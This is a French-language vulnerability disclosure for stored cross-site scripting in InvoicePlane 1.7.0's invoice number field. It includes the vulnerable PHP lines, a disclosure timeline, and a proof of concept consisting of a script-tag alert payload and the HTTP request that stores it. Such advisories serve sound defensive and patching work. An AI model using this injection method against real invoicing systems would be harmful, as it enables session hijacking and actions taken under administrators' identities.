
# Vulnérabilité XSS stockée dans InvoicePlane 1.7.0 via le champ non assaini du numéro de facture, avec preuve de concept et détails de remédiation.
Vulnérabilité : Cross-Site Scripting (XSS) stocké via le champ Numéro de facture
Produit : InvoicePlane
Version affectée : 1.7.0 (et probablement les versions antérieures)
Gravité : Moyenne
Score CVSS 3.1 : 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE : CWE-79 : Neutralisation incorrecte des entrées lors de la génération de pages Web
Découvert par : Leonidas Agathos
Date du rapport : 2026-01-31
Le champ invoice_number du formulaire de facture accepte des entrées arbitraires sans assainissement. La valeur est stockée et rendue non encodée à plusieurs endroits : le titre de la page de visualisation de la facture, le champ de saisie du numéro de facture et le widget des factures récentes du tableau de bord. La charge utile s'exécute dès qu'un administrateur consulte la facture affectée ou visite le tableau de bord.
Fichiers vulnérables :
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Ligne 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Ligne 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Ligne 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
Étape 1 — Injecter la charge utile dans le numéro de facture
Créez ou modifiez une facture à /index.php/invoices/form/{id} et définissez le numéro de facture sur :
<script>alert("XSS in Invoices")</script>
Requête :
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

Étape 2 — Déclencher le XSS
Naviguez vers /index.php/invoices/view/{id} ou /index.php/dashboard. La charge utile s'exécute au chargement de la page.

La charge utile s'exécute dans le navigateur de tout administrateur qui consulte la facture affectée ou visite le tableau de bord. Cela permet le détournement de session (si les cookies ne sont pas HttpOnly), le vol de jetons CSRF et des actions effectuées sous l'identité de la victime.
| Date | Événement |
|---|---|
| 2026-01-30 | Vulnérabilité découverte |
| 2026-01-31 | Preuve de concept développée |
| 2026-01-31 | Fournisseur notifié |
| 2026-02-04 | Accusé de réception du fournisseur |
| 2026-02-04 | Correctif publié |
| 2026-02-05 | Divulgation publique |
Cette vulnérabilité a été découverte lors d'une recherche en sécurité indépendante. Toutes les informations sont fournies strictement à des fins éducatives, de recherche et de défense afin d'aider le fournisseur et la communauté de la sécurité à comprendre et à corriger le problème. Toute utilisation malveillante de ces informations est strictement interdite.